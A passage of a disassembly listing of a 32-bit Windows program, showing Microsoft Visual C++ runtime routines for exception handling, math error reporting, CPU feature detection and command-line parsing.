		call	eax
		jmp	short loc_413F03
; ---------------------------------------------------------------------------


loc_413EFC:				; DATA XREF: .text:stru_41C160o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_413F00:				; DATA XREF: .text:stru_41C160o
		mov	esp, [ebp+ms_exc.old_esp]


loc_413F03:				; CODE XREF: sub_413EDF+1Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_413F07:				; CODE XREF: sub_413EDF+13j
		jmp	loc_4162ED
sub_413EDF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F0C	proc near		; CODE XREF: sub_40EF5C+23p
					; sub_40EF5C:loc_40EFC6p ...

ms_exc		= CPPEH_RECORD ptr -18h

		push	8
		push	offset stru_41C170
		call	__SEH_prolog
		mov	eax, off_421508
		test	eax, eax
		jz	short loc_413F34
		and	[ebp+ms_exc.disabled], 0
		call	eax ; sub_413EDF
		jmp	short loc_413F30
; ---------------------------------------------------------------------------


loc_413F29:				; DATA XREF: .text:stru_41C170o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_413F2D:				; DATA XREF: .text:stru_41C170o
		mov	esp, [ebp+ms_exc.old_esp]


loc_413F30:				; CODE XREF: sub_413F0C+1Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_413F34:				; CODE XREF: sub_413F0C+13j
		jmp	sub_413EDF
sub_413F0C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F40	proc near		; CODE XREF: sub_40F043+3Dp
					; sub_41370C+62p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_40F211
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_413F7F
		mov	ecx, 2


loc_413F7F:				; CODE XREF: sub_413F40+38j
		push	ecx
		call	sub_40F211
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_413F40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F8C	proc near		; CODE XREF: sub_40F5A0+B5p
					; sub_40F710+B5p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, dword_421360
		xor	eax, [ebp+4]
		mov	ecx, 0A1h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_C]
		cmp	eax, ecx
		push	esi
		jg	loc_4140C1
		jz	loc_4140B5
		cmp	eax, 18h
		jg	loc_414045
		jz	short loc_414032
		push	2
		pop	ecx
		sub	eax, ecx
		jz	short loc_414023
		dec	eax
		jz	short loc_414017
		sub	eax, 5
		jz	short loc_414008
		dec	eax
		jz	short loc_413FFC
		sub	eax, 5
		jz	short loc_413FE9
		dec	eax
		jnz	loc_414210
		mov	[ebp+var_20], offset aExp ; "exp"
		jmp	loc_414086
; ---------------------------------------------------------------------------


loc_413FE9:				; CODE XREF: sub_413F8C+48j
		mov	[ebp+var_24], 3
		mov	[ebp+var_20], offset aExp ; "exp"
		jmp	loc_414148
; ---------------------------------------------------------------------------


loc_413FFC:				; CODE XREF: sub_413F8C+43j
		mov	[ebp+var_20], offset aLog10 ; "log10"
		jmp	loc_4141AE
; ---------------------------------------------------------------------------


loc_414008:				; CODE XREF: sub_413F8C+40j
		mov	[ebp+var_24], ecx
		mov	[ebp+var_20], offset aLog10 ; "log10"
		jmp	loc_414148
; ---------------------------------------------------------------------------


loc_414017:				; CODE XREF: sub_413F8C+3Bj
		mov	[ebp+var_20], offset aLog_0 ; "log"
		jmp	loc_4141AE
; ---------------------------------------------------------------------------


loc_414023:				; CODE XREF: sub_413F8C+38j
		mov	[ebp+var_24], ecx
		mov	[ebp+var_20], offset aLog_0 ; "log"
		jmp	loc_414148
; ---------------------------------------------------------------------------


loc_414032:				; CODE XREF: sub_413F8C+31j
		mov	[ebp+var_24], 3


loc_414039:				; CODE XREF: sub_413F8C+E5j
		mov	[ebp+var_20], offset aPow ; "pow"
		jmp	loc_414148
; ---------------------------------------------------------------------------


loc_414045:				; CODE XREF: sub_413F8C+2Bj
		sub	eax, 19h
		jz	short loc_41407F
		dec	eax
		jz	short loc_414073
		dec	eax
		jz	short loc_41406A
		dec	eax
		jz	loc_4141A7
		dec	eax
		jnz	loc_414210
		mov	[ebp+var_20], offset aPow ; "pow"
		jmp	loc_4141CF
; ---------------------------------------------------------------------------


loc_41406A:				; CODE XREF: sub_413F8C+C2j
		mov	[ebp+var_24], 2
		jmp	short loc_414039
; ---------------------------------------------------------------------------


loc_414073:				; CODE XREF: sub_413F8C+BFj
		mov	eax, [ebp+arg_8]
		fld1
		fstp	qword ptr [eax]
		jmp	loc_414210
; ---------------------------------------------------------------------------


loc_41407F:				; CODE XREF: sub_413F8C+BCj
		mov	[ebp+var_20], offset aPow ; "pow"


loc_414086:				; CODE XREF: sub_413F8C+58j
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		fstp	[ebp+var_1C]
		fld	qword ptr [eax]
		lea	eax, [ebp+var_24]
		fstp	[ebp+var_14]
		push	eax
		fld	qword ptr [esi]
		mov	[ebp+var_24], 4
		fstp	[ebp+var_C]
		call	off_421510
		pop	ecx
		jmp	loc_41420B
; ---------------------------------------------------------------------------


loc_4140B5:				; CODE XREF: sub_413F8C+22j
		mov	[ebp+var_24], 3
		jmp	loc_414141
; ---------------------------------------------------------------------------


loc_4140C1:				; CODE XREF: sub_413F8C+1Cj
		mov	ecx, 3EAh
		cmp	eax, ecx
		jg	loc_41418B
		jz	loc_414182
		sub	eax, 0A2h
		jz	short loc_41413A
		sub	eax, 4
		jz	short loc_41412A
		sub	eax, 4
		jz	short loc_41411A
		dec	eax
		jz	short loc_41410E
		sub	eax, 33Dh
		jz	short loc_414102
		dec	eax
		jnz	loc_414210
		mov	[ebp+var_20], offset aLog10 ; "log10"
		jmp	loc_4141CF
; ---------------------------------------------------------------------------


loc_414102:				; CODE XREF: sub_413F8C+161j
		mov	[ebp+var_20], offset aLog_0 ; "log"
		jmp	loc_4141CF
; ---------------------------------------------------------------------------


loc_41410E:				; CODE XREF: sub_413F8C+15Aj
		mov	[ebp+var_20], offset aLog2 ; "log2"
		jmp	loc_4141AE
; ---------------------------------------------------------------------------


loc_41411A:				; CODE XREF: sub_413F8C+157j
		mov	[ebp+var_24], 2
		mov	[ebp+var_20], offset aLog2 ; "log2"
		jmp	short loc_414148
; ---------------------------------------------------------------------------


loc_41412A:				; CODE XREF: sub_413F8C+152j
		mov	[ebp+var_24], 3
		mov	[ebp+var_20], offset aExp10 ; "exp10"
		jmp	short loc_414148
; ---------------------------------------------------------------------------


loc_41413A:				; CODE XREF: sub_413F8C+14Dj
		mov	[ebp+var_24], 4


loc_414141:				; CODE XREF: sub_413F8C+130j
		mov	[ebp+var_20], offset aExp2 ; "exp2"


loc_414148:				; CODE XREF: sub_413F8C+6Bj
					; sub_413F8C+86j ...
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		fstp	[ebp+var_1C]
		fld	qword ptr [eax]
		lea	eax, [ebp+var_24]
		fstp	[ebp+var_14]
		push	eax
		fld	qword ptr [esi]
		fstp	[ebp+var_C]
		call	off_421510
		test	eax, eax
		pop	ecx
		jnz	loc_41420B
		mov	dword_4C5904, 22h
		jmp	loc_41420B
; ---------------------------------------------------------------------------


loc_414182:				; CODE XREF: sub_413F8C+142j
		mov	[ebp+var_20], offset aExp ; "exp"
		jmp	short loc_4141CF
; ---------------------------------------------------------------------------


loc_41418B:				; CODE XREF: sub_413F8C+13Cj
		sub	eax, 3EBh
		jz	short loc_4141C8
		dec	eax
		jz	short loc_4141BF
		dec	eax
		jz	short loc_4141B6
		dec	eax
		jz	short loc_4141A7
		dec	eax
		jnz	short loc_414210
		mov	[ebp+var_20], offset aModf ; "modf"
		jmp	short loc_4141CF
; ---------------------------------------------------------------------------


loc_4141A7:				; CODE XREF: sub_413F8C+C5j
					; sub_413F8C+20Dj
		mov	[ebp+var_20], offset aPow ; "pow"


loc_4141AE:				; CODE XREF: sub_413F8C+77j
					; sub_413F8C+92j ...
		mov	eax, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		jmp	short loc_4141D9
; ---------------------------------------------------------------------------


loc_4141B6:				; CODE XREF: sub_413F8C+20Aj
		mov	[ebp+var_20], offset aFloor ; "floor"
		jmp	short loc_4141CF
; ---------------------------------------------------------------------------


loc_4141BF:				; CODE XREF: sub_413F8C+207j
		mov	[ebp+var_20], offset aCeil ; "ceil"
		jmp	short loc_4141CF
; ---------------------------------------------------------------------------


loc_4141C8:				; CODE XREF: sub_413F8C+204j
		mov	[ebp+var_20], offset aAtan ; "atan"


loc_4141CF:				; CODE XREF: sub_413F8C+D9j
					; sub_413F8C+171j ...
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		mov	esi, [ebp+arg_8]
		fstp	qword ptr [esi]


loc_4141D9:				; CODE XREF: sub_413F8C+228j
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_4]
		fstp	[ebp+var_1C]
		mov	[ebp+var_24], 1
		fld	qword ptr [eax]
		lea	eax, [ebp+var_24]
		fstp	[ebp+var_14]
		push	eax
		fld	qword ptr [esi]
		fstp	[ebp+var_C]
		call	off_421510
		test	eax, eax
		pop	ecx
		jnz	short loc_41420B
		mov	dword_4C5904, 21h


loc_41420B:				; CODE XREF: sub_413F8C+124j
					; sub_413F8C+1E1j ...
		fld	[ebp+var_C]
		fstp	qword ptr [esi]


loc_414210:				; CODE XREF: sub_413F8C+4Bj
					; sub_413F8C+CCj ...
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	esi
		call	sub_411BA5
		leave
		retn
sub_413F8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41421E	proc near		; CODE XREF: sub_414253+3Ap

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_41C238
		call	__SEH_prolog
		and	[ebp+var_1C], 0
		and	[ebp+ms_exc.disabled], 0
		movapd	xmm0, xmm1
		mov	[ebp+var_1C], 1
		jmp	short loc_414246
; ---------------------------------------------------------------------------


loc_41423F:				; DATA XREF: .text:stru_41C238o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_414243:				; DATA XREF: .text:stru_41C238o
		mov	esp, [ebp+ms_exc.old_esp]


loc_414246:				; CODE XREF: sub_41421E+1Fj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_41421E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414253	proc near		; DATA XREF: .text:0041E020o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	edi
		push	esi
		pushf
		pop	eax
		mov	ecx, eax
		xor	eax, 200000h
		push	eax
		popf
		pushf
		pop	edx
		sub	edx, ecx
		jz	short loc_414276
		push	ecx
		popf
		mov	eax, 1
		cpuid


loc_414276:				; CODE XREF: sub_414253+18j
		mov	[ebp+var_4], edx
		and	dword_4C5B44, 0
		and	dword_4C5B40, 0
		test	byte ptr [ebp+var_4+3],	4
		jz	short loc_4142A3
		call	sub_41421E
		test	eax, eax
		jz	short loc_4142A3
		xor	eax, eax
		inc	eax
		mov	dword_4C5B44, eax
		mov	dword_4C5B40, eax


loc_4142A3:				; CODE XREF: sub_414253+38j
					; sub_414253+41j
		xor	eax, eax
		pop	esi
		pop	edi
		pop	ebx
		leave
		retn
sub_414253	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4142AA(double)

sub_4142AA	proc near		; CODE XREF: sub_40F5A0+7j
					; sub_40F5A0+38j

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_421514
		call	sub_416B3F
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		push	ecx
		and	ax, 7FF0h
		cmp	ax, 7FF0h
		push	ecx
		fstp	[esp+18h+var_18]
		jnz	short loc_414330
		call	sub_416A0F
		test	eax, eax
		pop	ecx
		pop	ecx
		jle	short loc_414313
		cmp	eax, 2
		jle	short loc_414305
		cmp	eax, 3
		jnz	short loc_414313
		fld	[ebp+arg_0]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		push	0Bh		; int
		call	sub_4168C2
		add	esp, 10h
		jmp	short loc_414377
; ---------------------------------------------------------------------------


loc_414305:				; CODE XREF: sub_4142AA+3Fj
		push	esi
		push	ebx
		call	sub_416B3F
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_414377
; ---------------------------------------------------------------------------


loc_414313:				; CODE XREF: sub_4142AA+3Aj
					; sub_4142AA+44j
		fld	[ebp+arg_0]
		push	ebx
		fadd	dbl_41BC90
		sub	esp, 10h
		fstp	qword ptr [esp+8]
		fld	[ebp+arg_0]
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41436F
; ---------------------------------------------------------------------------


loc_414330:				; CODE XREF: sub_4142AA+2Fj
		call	sub_4169D2
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		pop	ecx
		fcomp	[ebp+arg_0]
		pop	ecx
		fnstsw	ax
		test	ah, 44h
		jp	short loc_414355


loc_414347:				; CODE XREF: sub_4142AA+AEj
		push	esi
		push	ebx
		call	sub_416B3F
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_414377
; ---------------------------------------------------------------------------


loc_414355:				; CODE XREF: sub_4142AA+9Bj
		test	bl, 20h
		jnz	short loc_414347
		fld	[ebp+var_8]
		push	ebx		; int
		sub	esp, 10h
		fstp	qword ptr [esp+8]
		fld	[ebp+arg_0]
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41436F:				; CODE XREF: sub_4142AA+84j
		call	sub_416914
		add	esp, 1Ch


loc_414377:				; CODE XREF: sub_4142AA+59j
					; sub_4142AA+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_4142AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41437B	proc near		; DATA XREF: sub_4143C1o
					; .text:00421240o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41439E
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41439E
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41439E
		call	sub_413EDF


loc_41439E:				; CODE XREF: sub_41437B+Dj
					; sub_41437B+13j ...
		mov	eax, dword_4C59C4
		test	eax, eax
		jz	short loc_4143BB
		push	eax
		call	sub_4162D5
		test	eax, eax
		pop	ecx
		jz	short loc_4143BB
		push	esi
		call	dword_4C59C4
		jmp	short loc_4143BD
; ---------------------------------------------------------------------------


loc_4143BB:				; CODE XREF: sub_41437B+2Aj
					; sub_41437B+35j
		xor	eax, eax


loc_4143BD:				; CODE XREF: sub_41437B+3Ej
		pop	esi
		retn	4
sub_41437B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4143C1	proc near		; DATA XREF: .text:0041E024o
		push	offset sub_41437B
		call	dword_419050	; SetUnhandledExceptionFilter
		mov	dword_4C59C4, eax
		xor	eax, eax
		retn
sub_4143C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4143D4	proc near		; DATA XREF: .text:0041E03Co
		push	dword_4C59C4
		call	dword_419050	; SetUnhandledExceptionFilter
		retn
sub_4143D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4143E1(double)

sub_4143E1	proc near		; CODE XREF: sub_40F710+7j
					; sub_40F710+38j

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_421518
		call	sub_416B3F
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		push	ecx
		and	ax, 7FF0h
		cmp	ax, 7FF0h
		push	ecx
		fstp	[esp+18h+var_18]
		jnz	short loc_414467
		call	sub_416A0F
		test	eax, eax
		pop	ecx
		pop	ecx
		jle	short loc_41444A
		cmp	eax, 2
		jle	short loc_41443C
		cmp	eax, 3
		jnz	short loc_41444A
		fld	[ebp+arg_0]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		push	0Ch		; int
		call	sub_4168C2
		add	esp, 10h
		jmp	short loc_4144AE
; ---------------------------------------------------------------------------


loc_41443C:				; CODE XREF: sub_4143E1+3Fj
		push	esi
		push	ebx
		call	sub_416B3F
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_4144AE
; ---------------------------------------------------------------------------


loc_41444A:				; CODE XREF: sub_4143E1+3Aj
					; sub_4143E1+44j
		fld	[ebp+arg_0]
		push	ebx
		fadd	dbl_41BC90
		sub	esp, 10h
		fstp	qword ptr [esp+8]
		fld	[ebp+arg_0]
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_4144A6
; ---------------------------------------------------------------------------


loc_414467:				; CODE XREF: sub_4143E1+2Fj
		call	sub_4169D2
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		pop	ecx
		fcomp	[ebp+arg_0]
		pop	ecx
		fnstsw	ax
		test	ah, 44h
		jp	short loc_41448C


loc_41447E:				; CODE XREF: sub_4143E1+AEj
		push	esi
		push	ebx
		call	sub_416B3F
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_4144AE
; ---------------------------------------------------------------------------


loc_41448C:				; CODE XREF: sub_4143E1+9Bj
		test	bl, 20h
		jnz	short loc_41447E
		fld	[ebp+var_8]
		push	ebx		; int
		sub	esp, 10h
		fstp	qword ptr [esp+8]
		fld	[ebp+arg_0]
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_4144A6:				; CODE XREF: sub_4143E1+84j
		call	sub_416914
		add	esp, 1Ch


loc_4144AE:				; CODE XREF: sub_4143E1+59j
					; sub_4143E1+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_4143E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4144B2	proc near		; CODE XREF: sub_40F82D+12p
					; .text:0040F934p ...

var_10C		= byte ptr -10Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		mov	eax, dword_421360
		xor	eax, [ebp+4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		xor	edx, edx
		push	edi
		xor	eax, eax


loc_4144D0:				; CODE XREF: sub_4144B2+2Bj
		cmp	ecx, dword_421520[eax*8]
		jz	short loc_4144DF
		inc	eax
		cmp	eax, 12h
		jb	short loc_4144D0


loc_4144DF:				; CODE XREF: sub_4144B2+25j
		mov	esi, eax
		shl	esi, 3
		cmp	ecx, dword_421520[esi]
		jnz	loc_414613
		mov	eax, dword_4C596C
		cmp	eax, 1
		jz	loc_4145EE
		cmp	eax, edx
		jnz	short loc_41450F
		cmp	dword_421254, 1
		jz	loc_4145EE


loc_41450F:				; CODE XREF: sub_4144B2+4Ej
		cmp	ecx, 0FCh
		jz	loc_414613
		push	104h
		lea	eax, [ebp+var_10C]
		push	eax
		push	edx
		mov	[ebp+var_8], dl
		call	dword_419090	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_414548
		lea	eax, [ebp+var_10C]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_40D8A0
		pop	ecx
		pop	ecx


loc_414548:				; CODE XREF: sub_4144B2+81j
		lea	eax, [ebp+var_10C]
		push	eax
		lea	edi, [ebp+var_10C]
		call	sub_40D630
		inc	eax
		cmp	eax, 3Ch
		pop	ecx
		jbe	short loc_41458A
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_40D630
		mov	edi, eax
		lea	eax, [ebp+var_10C]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_40DB80
		add	esp, 10h


loc_41458A:				; CODE XREF: sub_4144B2+ADj
		push	edi
		call	sub_40D630
		push	off_421524[esi]
		mov	ebx, eax
		call	sub_40D630
		lea	eax, [ebx+eax+1Ch]
		pop	ecx
		add	eax, 3
		pop	ecx
		and	eax, 0FFFFFFFCh
		call	sub_40D9A0
		mov	ebx, esp
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	ebx
		call	sub_40D8A0
		push	edi
		push	ebx
		call	sub_40D8B0
		push	offset asc_41C568 ; "\n\n"
		push	ebx
		call	sub_40D8B0
		push	off_421524[esi]
		push	ebx
		call	sub_40D8B0
		push	12010h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	ebx
		call	sub_416BBC
		add	esp, 2Ch
		jmp	short loc_414613
; ---------------------------------------------------------------------------


loc_4145EE:				; CODE XREF: sub_4144B2+46j
					; sub_4144B2+57j
		push	edx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	esi, off_421524[esi]
		push	dword ptr [esi]
		call	sub_40D630
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_4191D0	; GetStdHandle
		push	eax
		call	dword_4190DC	; WriteFile


loc_414613:				; CODE XREF: sub_4144B2+38j
					; sub_4144B2+63j ...
		lea	esp, [ebp-118h]
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		call	sub_411BA5
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4144B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_414629	proc near		; CODE XREF: sub_40F82D+9p
					; .text:0040F92Dp
		mov	eax, dword_4C596C
		cmp	eax, 1
		jz	short loc_414640
		test	eax, eax
		jnz	short locret_414661
		cmp	dword_421254, 1
		jnz	short locret_414661


loc_414640:				; CODE XREF: sub_414629+8j
		push	0FCh
		call	sub_4144B2
		mov	eax, dword_4C59C8
		test	eax, eax
		pop	ecx
		jz	short loc_414656
		call	eax


loc_414656:				; CODE XREF: sub_414629+29j
		push	0FFh
		call	sub_4144B2
		pop	ecx

locret_414661:				; CODE XREF: sub_414629+Cj
					; sub_414629+15j
		retn
sub_414629	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414662	proc near		; CODE XREF: .text:0040F9FDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, dword_421630
		push	ebx
		mov	ecx, offset dword_4215B0
		push	esi


loc_414674:				; CODE XREF: sub_414662+25j
		cmp	[ecx], edx
		jz	short loc_414689
		lea	esi, [eax+eax*2]
		add	ecx, 0Ch
		lea	esi, ds:4215B0h[esi*4]
		cmp	ecx, esi
		jb	short loc_414674


loc_414689:				; CODE XREF: sub_414662+14j
		lea	eax, [eax+eax*2]
		lea	eax, ds:4215B0h[eax*4]
		cmp	ecx, eax
		jnb	short loc_41469B
		cmp	[ecx], edx
		jz	short loc_41469D


loc_41469B:				; CODE XREF: sub_414662+33j
		xor	ecx, ecx


loc_41469D:				; CODE XREF: sub_414662+37j
		test	ecx, ecx
		jz	loc_4147C6
		mov	ebx, [ecx+8]
		test	ebx, ebx
		jz	loc_4147C6
		cmp	ebx, 5
		jnz	short loc_4146C1
		and	dword ptr [ecx+8], 0
		xor	eax, eax
		inc	eax
		jmp	loc_4147CF
; ---------------------------------------------------------------------------


loc_4146C1:				; CODE XREF: sub_414662+51j
		cmp	ebx, 1
		jz	loc_4147C1
		mov	eax, dword_4C59CC
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		mov	dword_4C59CC, eax
		mov	eax, [ecx+4]
		cmp	eax, 8
		jnz	loc_4147B1
		mov	eax, dword_421628
		mov	edx, dword_42162C
		add	edx, eax
		cmp	eax, edx
		jge	short loc_41470C
		lea	esi, [eax+eax*2]
		lea	esi, ds:4215B8h[esi*4]
		sub	edx, eax


loc_414703:				; CODE XREF: sub_414662+A8j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_414703


loc_41470C:				; CODE XREF: sub_414662+93j
		mov	ecx, [ecx]
		cmp	ecx, 0C000008Eh
		mov	esi, dword_421634
		jnz	short loc_414728
		mov	dword_421634, 83h
		jmp	short loc_41479E
; ---------------------------------------------------------------------------


loc_414728:				; CODE XREF: sub_414662+B8j
		cmp	ecx, 0C0000090h
		jnz	short loc_41473C
		mov	dword_421634, 81h
		jmp	short loc_41479E
; ---------------------------------------------------------------------------


loc_41473C:				; CODE XREF: sub_414662+CCj
		cmp	ecx, 0C0000091h
		jnz	short loc_414750
		mov	dword_421634, 84h
		jmp	short loc_41479E
; ---------------------------------------------------------------------------


loc_414750:				; CODE XREF: sub_414662+E0j
		cmp	ecx, 0C0000093h
		jnz	short loc_414764
		mov	dword_421634, 85h
		jmp	short loc_41479E
; ---------------------------------------------------------------------------


loc_414764:				; CODE XREF: sub_414662+F4j
		cmp	ecx, 0C000008Dh
		jnz	short loc_414778
		mov	dword_421634, 82h
		jmp	short loc_41479E
; ---------------------------------------------------------------------------


loc_414778:				; CODE XREF: sub_414662+108j
		cmp	ecx, 0C000008Fh
		jnz	short loc_41478C
		mov	dword_421634, 86h
		jmp	short loc_41479E
; ---------------------------------------------------------------------------


loc_41478C:				; CODE XREF: sub_414662+11Cj
		cmp	ecx, 0C0000092h
		jnz	short loc_41479E
		mov	dword_421634, 8Ah


loc_41479E:				; CODE XREF: sub_414662+C4j
					; sub_414662+D8j ...
		push	dword_421634
		push	8
		call	ebx	; CloseHandle
		pop	ecx
		mov	dword_421634, esi
		jmp	short loc_4147B8
; ---------------------------------------------------------------------------


loc_4147B1:				; CODE XREF: sub_414662+7Ej
		and	dword ptr [ecx+8], 0
		push	eax
		call	ebx	; CloseHandle


loc_4147B8:				; CODE XREF: sub_414662+14Dj
		mov	eax, [ebp+arg_0]
		pop	ecx
		mov	dword_4C59CC, eax


loc_4147C1:				; CODE XREF: sub_414662+62j
		or	eax, 0FFFFFFFFh
		jmp	short loc_4147CF
; ---------------------------------------------------------------------------


loc_4147C6:				; CODE XREF: sub_414662+3Dj
					; sub_414662+48j
		push	[ebp+arg_4]
		call	dword_41904C	; UnhandledExceptionFilter


loc_4147CF:				; CODE XREF: sub_414662+5Aj
					; sub_414662+162j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_414662	endp


; =============== S U B	R O U T	I N E =======================================



sub_4147D3	proc near		; CODE XREF: .text:0040F9B5p
		cmp	dword_4C5ED0, 0
		jnz	short loc_4147E1
		call	sub_411A10


loc_4147E1:				; CODE XREF: sub_4147D3+7j
		push	esi
		mov	esi, dword_4C5EC0
		test	esi, esi
		jnz	short loc_4147F3
		mov	esi, offset word_41994E
		jmp	short loc_414838
; ---------------------------------------------------------------------------


loc_4147F3:				; CODE XREF: sub_4147D3+17j
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_414821
		inc	esi
		mov	al, [esi]
		cmp	al, 22h
		jz	short loc_414831


loc_414800:				; CODE XREF: sub_4147D3+45j
		test	al, al
		jz	short loc_41481A
		movzx	eax, al
		push	eax
		call	sub_416CE6
		test	eax, eax
		pop	ecx
		jz	short loc_414813
		inc	esi


loc_414813:				; CODE XREF: sub_4147D3+3Dj
		inc	esi
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_414800


loc_41481A:				; CODE XREF: sub_4147D3+2Fj
		cmp	byte ptr [esi],	22h
		jnz	short loc_414832
		jmp	short loc_414831
; ---------------------------------------------------------------------------


loc_414821:				; CODE XREF: sub_4147D3+24j
		cmp	al, 20h
		jbe	short loc_414832


loc_414825:				; CODE XREF: sub_4147D3+56j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_414825
		jmp	short loc_414832
; ---------------------------------------------------------------------------


loc_41482D:				; CODE XREF: sub_4147D3+63j
		cmp	al, 20h
		ja	short loc_414838


loc_414831:				; CODE XREF: sub_4147D3+2Bj
					; sub_4147D3+4Cj
		inc	esi


loc_414832:				; CODE XREF: sub_4147D3+4Aj
					; sub_4147D3+50j ...
